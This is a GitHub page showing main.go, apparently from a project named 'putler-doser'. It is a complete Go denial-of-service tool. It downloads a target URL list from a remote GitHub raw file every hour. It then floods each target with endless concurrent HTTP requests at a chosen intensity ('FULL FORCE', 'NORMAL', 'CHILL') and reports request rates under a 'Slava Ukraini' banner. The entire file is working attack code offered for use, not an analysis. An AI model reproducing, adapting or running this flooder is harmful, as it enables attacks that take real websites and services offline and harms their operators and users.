-
Notifications
You must be signed in to change notification settings - Fork 9
/
main.go
155 lines (123 loc) · 3.04 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
package main
import (
"fmt"
"runtime"
"strings"
"sync/atomic"
"time"
"github.com/gookit/color"
"github.com/valyala/fasthttp"
)
var count uint64
var errors uint64
var urlsInitial []string
var multiplier float32
var client = fasthttp.Client{MaxConnsPerHost: 999999}
var cpus = runtime.NumCPU()
var firstTime = true
func main() {
runtime.GOMAXPROCS(cpus)
fmt.Println("Select a mode (type in the number): " + color.Red.Render("(1) FULL FORCE ") + color.Yellow.Render("(2) NORMAL ") + color.Green.Render("(3) CHILL"))
go func() {
urlsInitial = getList()
}()
for {
var answer string
fmt.Scanln(&answer)
switch answer {
case "1":
multiplier = 10
case "2":
multiplier = 1
case "3":
multiplier = 0.25
}
if multiplier != 0 {
break
} else {
fmt.Println(color.Red.Render("Invalid code. Try again:"))
}
}
startTime := time.Now()
for {
var urls []string
if firstTime {
firstTime = false
for {
if len(urlsInitial) != 0 {
break
}
}
urls = urlsInitial
} else {
urls = getList()
}
nextRefresh := time.Now().Unix() + 3600
for i := 0; i < int(float32(cpus)*multiplier); i++ {
for _, url := range urls {
go func(url string) {
for {
if time.Now().Unix() > nextRefresh {
return
}
sendRequest(url)
atomic.AddUint64(&count, 1)
}
}(url)
}
}
for {
time.Sleep(500 * time.Millisecond)
timeElapsed := float64(time.Since(startTime).Round(1*time.Second)) / 1000000000
fmt.Print("\033[H\033[2J")
fmt.Println(color.Cyan.Render("Slava ") + color.Yellow.Render("Ukraini!") + "\n")
fmt.Println("Urls: " + color.Magenta.Render(len(urls)))
fmt.Print("Requests/s: ")
color.Yellow.Printf("%d\n", uint64(float64(count)/timeElapsed))
fmt.Print("Total requests: ")
color.Yellow.Printf("%d\n", count)
fmt.Print("Successfull requests: ")
color.Green.Printf("%d\n", count-errors)
fmt.Print("Successfull requests/s: ")
color.Green.Printf("%d\n", uint64(float64(count-errors)/timeElapsed))
fmt.Print("Errors: ")
color.Red.Printf("%d\n", errors)
fmt.Print("Time elapsed: ")
fmt.Println(color.Cyan.Render(time.Since(startTime).Round(1 * time.Second)))
if time.Now().Unix() > nextRefresh {
fmt.Print("\033[H\033[2J")
fmt.Println("Fetching urls...")
break
}
}
}
}
func sendRequest(host string) {
req := fasthttp.AcquireRequest()
req.SetRequestURI(host)
res := fasthttp.AcquireResponse()
err := client.Do(req, res)
if err != nil {
atomic.AddUint64(&errors, 1)
}
fasthttp.ReleaseRequest(req)
}
func getList() []string {
for {
req := fasthttp.AcquireRequest()
req.SetRequestURI("https://raw.githubusercontent.com/metastck/putler-doser/master/list.txt")
res := fasthttp.AcquireResponse()
err := client.Do(req, res)
if err != nil {
time.Sleep(5 * time.Second)
continue
}
fasthttp.ReleaseRequest(req)
var lines []string
linesRaw := strings.Split(string(res.Body()), "\n")
for _, line := range linesRaw {
lines = append(lines, strings.Trim(line, "\r"))
}
return lines
}
}